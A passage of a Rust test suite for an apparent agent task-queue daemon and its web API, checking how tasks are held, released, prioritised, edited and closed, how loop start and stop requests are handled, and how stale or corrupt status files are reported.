9048 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
9049 task_run_view(
9050 "20260902-140501-aaaa",
9051 Some(&s),
9052 RunSlot {
9053 n: 1,
9054 resumed: false,
9055 resumed_later: Some(2),
9056 prior: None,
9057 last: false,
9058 },
9059 &task,
9060 )
9061 }
9062
9063 #[test]
9064 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
9065 let v = earlier_pass_view(|_| {});
9066 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
9067 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9068 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
9069 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
9070 assert_eq!(v.exit, RunExit::Interrupted);
9071 assert_eq!(v.attempt, AttemptCost::Unknown);
9072 }
9073
9074 #[test]
9075 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
9076 let v = earlier_pass_view(|s| {
9077 s.quota.push(crate::run::QuotaLoss {
9078 seat: "judge-1".to_owned(),
9079 node: "judge".to_owned(),
9080 at: Timestamp::now(),
9081 reset: None,
9082 });
9083 });
9084 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
9085 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
9086 assert_eq!(v.attempt, AttemptCost::Unknown);
9087 }
9088
9089 #[test]
9090 fn the_current_pass_states_its_recorded_cause_and_cost() {
9091 let slot = || RunSlot {
9092 n: 1,
9093 resumed: false,
9094 resumed_later: None,
9095 prior: None,
9096 last: true,
9097 };
9098 let task = flow_task(&["20260902-140501-aaaa"]);
9099 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
9100 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
9101 assert_eq!(
9102 (v.exit, v.attempt),
9103 (RunExit::Parked, AttemptCost::Refunded)
9104 );
9105 let spent = flow_run(RunStatus::Blocked, |_| {});
9106 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
9107 assert_eq!(v.attempt, AttemptCost::Spent);
9108 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
9109 }
9110
9111 #[tokio::test]
9112 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
9113 let f = Fixture::start().await;
9114 let queue = f.queue();
9115 let mut task = Task::new(
9116 "spent".to_owned(),
9117 "Try again".to_owned(),
9118 PathBuf::from("/repo/magi"),
9119 Source::Human,
9120 );
9121 task.start("20260902-140502-bbbb".to_owned());
9122 task.fail("agent gave up", 9);
9123 queue.put(&mut task).expect("file the task");
9124
9125 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9126 assert_eq!(held.status, 200);
9127 assert_eq!(held.json()["status_str"], "held");
9128
9129 let released = f
9130 .post(&format!("/api/queue/{}/release", task.id), None)
9131 .await;
9132 assert_eq!(released.status, 200);
9133 assert_eq!(released.json()["status_str"], "queued");
9134 assert_eq!(
9135 released.json()["attempts"],
9136 0,
9137 "release is a real second chance, not an instant re-hold"
9138 );
9139 assert_eq!(
9140 queue.get(&task.id).expect("reload").status,
9141 TaskStatus::Queued,
9142 "the change is on disk, not only in the reply"
9143 );
9144 assert!(
9145 !f.home
9146 .path()
9147 .join("queue")
9148 .join(format!("{}.lock", task.id))
9149 .exists(),
9150 "the claim the mutation took is released again"
9151 );
9152 }
9153
9154 #[tokio::test]
9155 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
9156 let f = Fixture::start().await;
9157 let queue = f.queue();
9158 let mut task = Task::new(
9159 "busy".to_owned(),
9160 "Running right now".to_owned(),
9161 PathBuf::from("/repo/magi"),
9162 Source::Human,
9163 );
9164 queue.put(&mut task).expect("file the task");
9165 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9166
9167 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
9168
9169 assert_eq!(res.status, 409);
9170 assert_eq!(
9171 queue.get(&task.id).expect("reload").status,
9172 TaskStatus::Queued,
9173 "the refused hold changed nothing"
9174 );
9175 }
9176
9177 #[tokio::test]
9178 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
9179 let f = Fixture::start().await;
9180 let queue = f.queue();
9181 let mut task = Task::new(
9182 "waiting on the migration".to_owned(),
9183 "Do the thing".to_owned(),
9184 PathBuf::from("/repo/magi"),
9185 Source::Human,
9186 );
9187 queue.put(&mut task).expect("file the task");
9188
9189 let held = f
9190 .post(
9191 &format!("/api/queue/{}/hold", task.id),
9192 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
9193 )
9194 .await;
9195 assert_eq!(held.status, 200, "{}", held.body);
9196 assert_eq!(held.json()["status_str"], "held");
9197 assert_eq!(
9198 held.json()["hold_reason"],
9199 "waiting for 20260101-000000-aaaa to land"
9200 );
9201
9202 let listed = f.get("/api/queue").await.json();
9203 assert_eq!(
9204 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
9205 "the card reads the reason off the same list route"
9206 );
9207
9208 let mut plain = Task::new(
9211 "no reason given".to_owned(),
9212 "Do another thing".to_owned(),
9213 PathBuf::from("/repo/magi"),
9214 Source::Human,
9215 );
9216 queue.put(&mut plain).expect("file the task");
9217 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
9218 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
9219 assert!(held_plain.json()["hold_reason"].is_null());
9220
9221 let released = f
9222 .post(&format!("/api/queue/{}/release", task.id), None)
9223 .await;
9224 assert_eq!(released.status, 200);
9225 assert!(
9226 released.json()["hold_reason"].is_null(),
9227 "a release must clear the reason so the next hold does not inherit it"
9228 );
9229 }
9230
9231 #[tokio::test]
9232 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
9233 let f = Fixture::start().await;
9234 let queue = f.queue();
9235 let mut older = Task::new(
9236 "filed first".to_owned(),
9237 "x".to_owned(),
9238 PathBuf::from("/repo/magi"),
9239 Source::Human,
9240 );
9241 older.id = "20260101-000001-aaaa".to_owned();
9242 let mut newer = Task::new(
9243 "filed second".to_owned(),
9244 "x".to_owned(),
9245 PathBuf::from("/repo/magi"),
9246 Source::Human,
9247 );
9248 newer.id = "20260101-000002-bbbb".to_owned();
9249 queue.put(&mut older).expect("file older");
9250 queue.put(&mut newer).expect("file newer");
9251
9252 let before = f.get("/api/queue").await.json();
9255 assert_eq!(before[0]["id"], newer.id);
9256 assert_eq!(before[1]["id"], older.id);
9257
9258 let raised = f
9262 .post(
9263 &format!("/api/queue/{}/priority", older.id),
9264 Some(r#"{"priority":10}"#),
9265 )
9266 .await;
9267 assert_eq!(raised.status, 200, "{}", raised.body);
9268 assert_eq!(raised.json()["priority"], 10);
9269
9270 let after = f.get("/api/queue").await.json();
9271 let names: Vec<&str> = after
9272 .as_array()
9273 .unwrap()
9274 .iter()
9275 .map(|t| t["id"].as_str().unwrap())
9276 .collect();
9277 assert_eq!(names[0], older.id, "the raised task now sorts first");
9281 }
9282
9283 #[tokio::test]
9284 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
9285 let f = Fixture::start().await;
9286 let queue = f.queue();
9287 let mut task = Task::new(
9288 "in flight".to_owned(),
9289 "x".to_owned(),
9290 PathBuf::from("/repo/magi"),
9291 Source::Human,
9292 );
9293 task.start("20260902-140502-bbbb".to_owned());
9294 queue.put(&mut task).expect("file the task");
9295
9296 let res = f
9297 .post(
9298 &format!("/api/queue/{}/priority", task.id),
9299 Some(r#"{"priority":9}"#),
9300 )
9301 .await;
9302 assert_eq!(res.status, 400, "{}", res.body);
9303 assert!(
9304 res.json()["error"]
9305 .as_str()
9306 .is_some_and(|e| e.contains("running")),
9307 "{}",
9308 res.body
9309 );
9310 assert_eq!(
9311 queue.get(&task.id).expect("reload").priority,
9312 0,
9313 "the refused write must not partially apply"
9314 );
9315 }
9316
9317 #[tokio::test]
9318 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
9319 let f = Fixture::start().await;
9320 let queue = f.queue();
9321 let mut task = Task::new(
9322 "old title".to_owned(),
9323 "old instruction".to_owned(),
9324 PathBuf::from("/repo/magi"),
9325 Source::Agent {
9326 run: "20260101-000000-beef".to_owned(),
9327 node: "implement".to_owned(),
9328 },
9329 );
9330 task.runs.push("20260101-000000-beef".to_owned());
9331 queue.put(&mut task).expect("file the task");
9332 let created_at = task.created_at;
9333
9334 let edited = f
9335 .post(
9336 &format!("/api/queue/{}/edit", task.id),
9337 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
9338 )
9339 .await;
9340 assert_eq!(edited.status, 200, "{}", edited.body);
9341 let body = edited.json();
9342 assert_eq!(body["title"], "new title");
9343 assert_eq!(body["instruction"], "new instruction");
9344 assert_eq!(body["id"], task.id, "editing must not mint a new id");
9345 assert_eq!(body["created_at"], created_at.to_string());
9346 assert_eq!(
9347 body["source"]["kind"], "agent",
9348 "editing a task an agent filed must not turn it human: {body}"
9349 );
9350 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
9351
9352 let reloaded = queue.get(&task.id).expect("reload");
9353 assert_eq!(reloaded.title, "new title");
9354 assert_eq!(reloaded.instruction, "new instruction");
9355 }
9356
9357 #[tokio::test]
9358 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
9359 let f = Fixture::start().await;
9360 let queue = f.queue();
9361 let mut owner = Task::new(
9362 "owner".to_owned(),
9363 "review it".to_owned(),
9364 PathBuf::from("/repo/magi"),
9365 Source::Human,
9366 );
9367 owner.review_branch = Some("magi/ab12/A".to_owned());
9368 queue.put(&mut owner).expect("file the owner");
9369 let mut task = Task::new(
9370 "draft".to_owned(),
9371 "old".to_owned(),
9372 PathBuf::from("/repo/magi"),
9373 Source::Human,
9374 );
9375 queue.put(&mut task).expect("file the draft");
9376 let url = format!("/api/queue/{}/edit", task.id);
9377
9378 let refused = f
9379 .post(
9380 &url,
9381 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
9382 )
9383 .await;
9384 assert_eq!(refused.status, 409, "{}", refused.body);
9385 let msg = refused.json()["error"]
9386 .as_str()
9387 .unwrap_or_default()
9388 .to_owned();
9389 assert!(
9390 msg.contains("magi/ab12/A") && msg.contains("force"),
9391 "{msg}"
9392 );
9393 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
9394
9395 let forced = f
9396 .post(
9397 &url,
9398 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
9399 )
9400 .await;
9401 assert_eq!(forced.status, 200, "{}", forced.body);
9402 }
9403
9404 #[tokio::test]
9405 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
9406 let f = Fixture::start().await;
9407 let queue = f.queue();
9408 let mut task = Task::new(
9409 "in flight".to_owned(),
9410 "do not touch".to_owned(),
9411 PathBuf::from("/repo/magi"),
9412 Source::Human,
9413 );
9414 task.start("20260902-140502-bbbb".to_owned());
9415 queue.put(&mut task).expect("file the task");
9416
9417 let res = f
9418 .post(
9419 &format!("/api/queue/{}/edit", task.id),
9420 Some(r#"{"title":"x","instruction":"y"}"#),
9421 )
9422 .await;
9423 assert_eq!(res.status, 400, "{}", res.body);
9424 assert!(
9425 res.json()["error"]
9426 .as_str()
9427 .is_some_and(|e| e.contains("running")),
9428 "{}",
9429 res.body
9430 );
9431 assert_eq!(
9432 queue.get(&task.id).expect("reload").instruction,
9433 "do not touch",
9434 "the refused edit must not change the file"
9435 );
9436 }
9437
9438 #[tokio::test]
9439 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
9440 let f = Fixture::start().await;
9441 let queue = f.queue();
9442 let mut task = Task::new(
9443 "busy".to_owned(),
9444 "Running right now".to_owned(),
9445 PathBuf::from("/repo/magi"),
9446 Source::Human,
9447 );
9448 queue.put(&mut task).expect("file the task");
9449 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
9450
9451 let priority = f
9452 .post(
9453 &format!("/api/queue/{}/priority", task.id),
9454 Some(r#"{"priority":9}"#),
9455 )
9456 .await;
9457 assert_eq!(priority.status, 409, "{}", priority.body);
9458
9459 let edit = f
9460 .post(
9461 &format!("/api/queue/{}/edit", task.id),
9462 Some(r#"{"title":"x","instruction":"y"}"#),
9463 )
9464 .await;
9465 assert_eq!(edit.status, 409, "{}", edit.body);
9466 }
9467
9468 #[tokio::test]
9469 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
9470 let f = Fixture::start().await;
9471 let queue = f.queue();
9472 let mut task = Task::new(
9473 "shipped by hand".to_owned(),
9474 "merged outside the loop".to_owned(),
9475 PathBuf::from("/repo/magi"),
9476 Source::Agent {
9477 run: "20260101-000000-b455".to_owned(),
9478 node: "implement".to_owned(),
9479 },
9480 );
9481 task.runs.push("20260101-000000-b455".to_owned());
9482 task.runs.push("20260101-000000-9af4".to_owned());
9483 queue.put(&mut task).expect("file the task");
9484 let created_at = task.created_at;
9485
9486 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9487 assert_eq!(done.status, 200, "{}", done.body);
9488 assert_eq!(done.json()["status_str"], "done");
9489
9490 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
9491 assert_eq!(
9492 reloaded.runs,
9493 ["20260101-000000-b455", "20260101-000000-9af4"]
9494 );
9495 assert_eq!(
9496 reloaded.source,
9497 Source::Agent {
9498 run: "20260101-000000-b455".to_owned(),
9499 node: "implement".to_owned(),
9500 }
9501 );
9502 assert_eq!(reloaded.created_at, created_at);
9503 }
9504
9505 #[tokio::test]
9506 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
9507 let f = Fixture::start().await;
9512 let queue = f.queue();
9513 let mut task = Task::new(
9514 "landed while held".to_owned(),
9515 "x".to_owned(),
9516 PathBuf::from("/repo/magi"),
9517 Source::Human,
9518 );
9519 task.hold_manual(Some("waiting on 3ed9".to_owned()));
9520 queue.put(&mut task).expect("file the held task");
9521
9522 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9523 assert_eq!(done.status, 200, "{}", done.body);
9524 assert_eq!(done.json()["status_str"], "done");
9525 assert!(
9526 done.json()["hold_reason"].is_null(),
9527 "a done task cannot still be waiting on something: {}",
9528 done.body
9529 );
9530 }
9531
9532 #[tokio::test]
9533 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
9534 let f = Fixture::start().await;
9539 let queue = f.queue();
9540 let runs = f.runs();
9541 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
9542 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
9546
9547 let mut task = Task::new(
9548 "landed by hand".to_owned(),
9549 "x".to_owned(),
9550 PathBuf::from("/repo/magi"),
9551 Source::Human,
9552 );
9553 task.runs.push("20260101-000000-doa1".to_owned());
9554 task.runs.push("20260101-000000-doa2".to_owned());
9555 queue.put(&mut task).expect("file the task");
9556
9557 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9558 assert_eq!(done.status, 200, "{}", done.body);
9559
9560 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
9561 .expect("run still on disk under this fixture's own home");
9562 assert_eq!(
9563 reloaded_run.status,
9564 RunStatus::Superseded,
9565 "closing the task by hand must relabel the earlier blocked attempt exactly \
9566 like the loop's own settle path does"
9567 );
9568 }
9569
9570 #[tokio::test]
9571 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
9572 let f = Fixture::start().await;
9577 let queue = f.queue();
9578 let runs = f.runs();
9579 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
9580 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
9581
9582 let mut task = Task::new(
9583 "closed with nothing actually landed".to_owned(),
9584 "x".to_owned(),
9585 PathBuf::from("/repo/magi"),
9586 Source::Human,
9587 );
9588 task.runs.push("20260101-000000-dob1".to_owned());
9589 task.runs.push("20260101-000000-dob2".to_owned());
9590 queue.put(&mut task).expect("file the task");
9591
9592 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
9593 assert_eq!(done.status, 200, "{}", done.body);
9594
9595 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
9596 .expect("run still on disk under this fixture's own home");
9597 assert_eq!(
9598 reloaded_run.status,
9599 RunStatus::Blocked,
9600 "the last recorded attempt never landed, so the earlier one must not be \
9601 relabelled as superseded by it"
9602 );
9603 }
9604
9605 #[tokio::test]
9606 async fn unknown_ids_are_json_not_found_on_both_stores() {
9607 let f = Fixture::start().await;
9608
9609 let run = f.get("/api/runs/nosuchrun").await;
9610 let task = f.post("/api/queue/nosuchtask/hold", None).await;
9611
9612 assert_eq!(run.status, 404);
9613 assert_eq!(task.status, 404);
9614 assert!(
9615 run.json()["error"]
9616 .as_str()
9617 .is_some_and(|e| e.contains("run")),
9618 "the error names what was not found: {}",
9619 run.body
9620 );
9621 assert!(
9622 task.json()["error"]
9623 .as_str()
9624 .is_some_and(|e| e.contains("task")),
9625 "the error names what was not found: {}",
9626 task.body
9627 );
9628 }
9629
9630 #[tokio::test]
9631 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9632 let f = Fixture::start().await;
9633
9634 let missing = f.get("/api/health").await.json();
9635 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9636
9637 write_daemon(
9638 f.home.path(),
9639 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9640 );
9641 let stale = f.get("/api/health").await.json();
9642 assert_eq!(
9643 stale["daemon"]["running"], false,
9644 "a minute without a heartbeat is a dead daemon, not a busy one"
9645 );
9646 assert!(
9647 stale["daemon"]["stale_for_secs"]
9648 .as_i64()
9649 .is_some_and(|s| s >= 55),
9650 "staleness is reported so the UI can say how long: {stale}"
9651 );
9652
9653 write_daemon(f.home.path(), Timestamp::now());
9654 let fresh = f.get("/api/health").await.json();
9655 assert_eq!(fresh["daemon"]["running"], true);
9656 assert_eq!(fresh["daemon"]["idle"], false);
9657 assert_eq!(fresh["daemon"]["pid"], 4242);
9658 assert_eq!(fresh["daemon"]["completed"], 7);
9659 assert_eq!(
9660 fresh["daemon"]["current"][0]["task"],
9661 "20260902-140501-aaaa"
9662 );
9663 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9664 }
9665
9666 #[tokio::test]
9667 async fn the_loop_is_not_running_until_something_starts_it() {
9668 let f = Fixture::start().await;
9669
9670 let view = f.get("/api/loop").await.json();
9671 assert_eq!(view["running"], false);
9672 assert_eq!(
9673 view["owned"], false,
9674 "nobody owns a loop that does not exist: {view}"
9675 );
9676 assert_eq!(view["stopping"], false);
9677 assert_eq!(view["last_error"], Value::Null);
9678 assert_eq!(view["daemon"]["running"], false);
9679 assert_eq!(
9680 view["repo"], "/repo/magi",
9681 "the repository a start would use, named before it is started"
9682 );
9683 }
9684
9685 #[tokio::test]
9686 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9687 let f = Fixture::start().await;
9688
9689 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9690 assert_eq!(res.status, 200, "{}", res.body);
9691 let view = res.json();
9692 assert_eq!(view["running"], true);
9693 assert_eq!(
9694 view["owned"], true,
9695 "the loop the UI started is the UI's own to stop: {view}"
9696 );
9697 assert_eq!(
9698 view["merge"],
9699 Value::Null,
9700 "no override was given, so each repository's own config decides"
9701 );
9702
9703 let health = f.get("/api/health").await.json();
9707 assert_eq!(health["loop"]["running"], true, "{health}");
9708 assert_eq!(health["loop"]["owned"], true, "{health}");
9709
9710 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9711 }
9712
9713 #[tokio::test]
9714 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9715 let f = Fixture::start().await;
9716 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9717 assert_eq!(first.status, 200, "{}", first.body);
9718
9719 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9720 assert_eq!(
9721 again.status, 409,
9722 "two loops on one queue race for the same claims: {}",
9723 again.body
9724 );
9725 assert!(
9726 again.json()["error"]
9727 .as_str()
9728 .is_some_and(|e| e.contains("already running the loop")),
9729 "the refusal has to say why: {}",
9730 again.body
9731 );
9732 assert_eq!(
9733 f.get("/api/loop").await.json()["running"],
9734 true,
9735 "and the loop that was already running is untouched by it"
9736 );
9737
9738 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9739 }
9740
9741 #[tokio::test]
9742 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9743 let f = Fixture::start().await;
9744 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9745
9746 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9747 assert_eq!(
9748 res.status, 200,
9749 "the answer must not wait for the loop: a run in flight is tens of \
9750 minutes and the operator is holding a phone: {}",
9751 res.body
9752 );
9753
9754 let view = settled(&f, |v| v["running"] == false).await;
9755 assert_eq!(view["owned"], false);
9756 assert_eq!(
9757 view["stopping"], false,
9758 "a loop that has stopped is not still stopping: {view}"
9759 );
9760 assert_eq!(
9761 view["last_error"],
9762 Value::Null,
9763 "a loop that was asked to stop did not fail: {view}"
9764 );
9765
9766 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9769 assert_eq!(twice.status, 200, "{}", twice.body);
9770 }
9771
9772 #[tokio::test]
9773 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9774 let f = Fixture::start().await;
9775 write_daemon(f.home.path(), Timestamp::now());
9778
9779 let view = f.get("/api/loop").await.json();
9780 assert_eq!(view["running"], false, "not in this process: {view}");
9781 assert_eq!(view["owned"], false, "and not this process's to control");
9782 assert_eq!(
9783 view["daemon"]["running"], true,
9784 "but a loop is alive somewhere, which is what the UI must say"
9785 );
9786 assert_eq!(view["daemon"]["pid"], 4242);
9787
9788 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9789 let res = f.post("/api/loop", Some(body)).await;
9790 assert_eq!(
9791 res.status, 409,
9792 "neither button may pretend to work on someone else's loop: {}",
9793 res.body
9794 );
9795 assert!(
9796 res.json()["error"]
9797 .as_str()
9798 .is_some_and(|e| e.contains("4242")),
9799 "the refusal has to name the process the operator must go to: {}",
9800 res.body
9801 );
9802 }
9803 assert_eq!(
9804 f.get("/api/loop").await.json()["running"],
9805 false,
9806 "and the refusal started nothing"
9807 );
9808 }
9809
9810 #[tokio::test]
9811 async fn a_stale_status_file_is_not_a_foreign_owner() {
9812 let f = Fixture::start().await;
9813 write_daemon(
9814 f.home.path(),
9815 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9816 );
9817
9818 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9819 assert_eq!(
9820 res.status, 200,
9821 "a daemon killed a minute ago must not lock the loop out of its \
9822 own home for good: {}",
9823 res.body
9824 );
9825 assert_eq!(res.json()["running"], true);
9826
9827 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9828 }
9829
9830 #[tokio::test]
9831 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9832 let f = Fixture::start().await;
9833 let before = f.get("/api/health").await.json()["loop_rev"]
9834 .as_u64()
9835 .expect("a loop revision");
9836
9837 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9838
9839 let after = f.get("/api/health").await.json()["loop_rev"]
9840 .as_u64()
9841 .expect("a loop revision");
9842 assert!(
9843 after > before,
9844 "the loop is in-process state, so this counter is the only thing \
9845 that tells a second device the first one started it: {before} -> \
9846 {after}"
9847 );
9848
9849 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9850 }
9851
9852 #[tokio::test]
9853 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9854 let f = Fixture::with_loop(launch_broken).await;
9855
9856 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9857 assert_eq!(
9858 res.status, 200,
9859 "starting it is not the failure: {}",
9860 res.body
9861 );
9862
9863 let view = settled(&f, |v| v["last_error"].is_string()).await;
9864 assert_eq!(
9865 view["running"], false,
9866 "a loop that died must not read as running, or the operator has \
9867 nothing to press: {view}"
9868 );
9869 assert_eq!(view["owned"], false);
9870 assert!(
9871 view["last_error"]
9872 .as_str()
9873 .is_some_and(|e| e.contains("read-only file system")),
9874 "the phone is where a loop that died at 3am is visible: {view}"
9875 );
9876
9877 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9880 assert_eq!(again.status, 200, "{}", again.body);
9881 assert_eq!(
9882 again.json()["last_error"],
9883 Value::Null,
9884 "a fresh start does not keep showing why the last one died"
9885 );
9886 }
9887
9888 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9900 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9901 let home = TempDir::new().expect("temp home");
9902 let runs = home.path().join("runs");
9903 std::fs::create_dir_all(&runs).expect("runs dir");
9904 let ui = Ui::new(
9905 Queue::at(home.path().join("queue")),
9906 Questions::at(home.path().join("questions")),
9907 Talks::at(home.path().join("talks")),
9908 runs,
9909 home.path().to_path_buf(),
9910 PathBuf::from("/repo/magi"),
9911 )
9912 .with_worktrees_root(home.path().join("wt"))
9913 .with_launch(launch_knocking_on_the_way_out);
9914 let looping = ui.looping();
9915 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9916 .await
9917 .expect("bind loopback");
9918 let addr = listener.local_addr().expect("local addr");
9919 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9920 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9921
9922 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9923 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9924
9925 let bound = std::sync::Mutex::new(None);
9940 hand_over(home.path(), &looping, served, |_| {
9941 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9942 let attempt = loop {
9943 match std::net::TcpListener::bind(addr) {
9944 Ok(l) => {
9945 drop(l);
9946 break Ok(());
9947 }
9948 Err(e)
9949 if e.kind() == std::io::ErrorKind::AddrInUse
9950 && std::time::Instant::now() < deadline =>
9951 {
9952 std::thread::sleep(std::time::Duration::from_millis(10));
9953 }
9954 Err(e) => break Err(e.to_string()),
9955 }
9956 };
9957 *bound.lock().expect("bound") = Some(attempt);
9958 Ok(())
9959 })
9960 .await
9961 .expect("hand over");
9962
9963 assert_eq!(
9964 *PARK_HEARD.lock().expect("park heard"),
9965 Some(200),
9966 "the deck must answer while the loop is parking"
9967 );
9968 let attempt = bound
9969 .lock()
9970 .expect("bound")
9971 .take()
9972 .expect("the successor was started");
9973 assert!(
9974 attempt.is_ok(),
9975 "and the address must be free by the time it is: {attempt:?}"
9976 );
9977 }
9978
9979 #[tokio::test]
9980 async fn a_newer_daemon_status_file_still_renders() {
9981 let f = Fixture::start().await;
9982 std::fs::write(
9985 f.home.path().join("daemon.json"),
9986 serde_json::json!({
9987 "schema": 2,
9988 "updated_at": Timestamp::now().to_string(),
9989 "idle": true,
9990 "surprise": { "nested": [1, 2, 3] },
9991 })
9992 .to_string(),
9993 )
9994 .expect("write daemon.json");
9995
9996 let health = f.get("/api/health").await;
9997
9998 assert_eq!(health.status, 200);
9999 assert_eq!(health.json()["daemon"]["running"], true);
10000 }
10001
10002 #[tokio::test]
10003 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
10004 let f = Fixture::start().await;
10005 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10006 let broken = f.runs().join("20260902-140502-bad");
10007 std::fs::create_dir_all(&broken).expect("run dir");
10008 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10009
10010 let list = f.get("/api/runs").await;
10011 let detail = f.get("/api/runs/20260902-140502-bad").await;
10012
10013 assert_eq!(list.status, 200);
10014 let listed = list.json();
10015 let ids: Vec<&str> = listed
10016 .as_array()
10017 .expect("an array")
10018 .iter()
10019 .map(|r| r["id"].as_str().expect("an id"))
10020 .collect();
10021 assert_eq!(
10022 ids,
10023 vec!["20260902-140501-good"],
10024 "one unreadable run must not cost the operator the whole history"
10025 );
10026 assert_eq!(detail.status, 500);
10027 assert!(
10028 detail.json()["error"]
10029 .as_str()
10030 .is_some_and(|e| e.contains("run.json")),
10031 "the failure names the file to look at: {}",
10032 detail.body
10033 );
10034 let health = f.get("/api/health").await;
10038 assert_eq!(health.json()["runs_unreadable"], 1);
10039 }
10040
10041 #[tokio::test]
10043 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
10044 let f = Fixture::start().await;
10045 let runs = f.runs();
10046 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
10047 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
10048 let path = runs.join("20260902-140502-bbbb").join("run.json");
10051 let mut v: serde_json::Value =
10052 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
10053 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
10054 std::fs::write(&path, v.to_string()).unwrap();
10055 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
10056 std::fs::write(
10057 runs.join("20260902-140503-cccc").join("run.json"),
10058 "{ not json",
10059 )
10060 .unwrap();
10061
10062 let res = f.get("/api/search?scope=runs&q=quokka").await;
10063 assert_eq!(res.status, 200, "{}", res.body);
10064 let v = res.json();
10065 assert_eq!(v["total"], 1, "{v}");
10066 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10067 assert_eq!(v["hits"][0]["field"], "text");
10068 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10069 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10070 assert!(
10071 parts
10072 .iter()
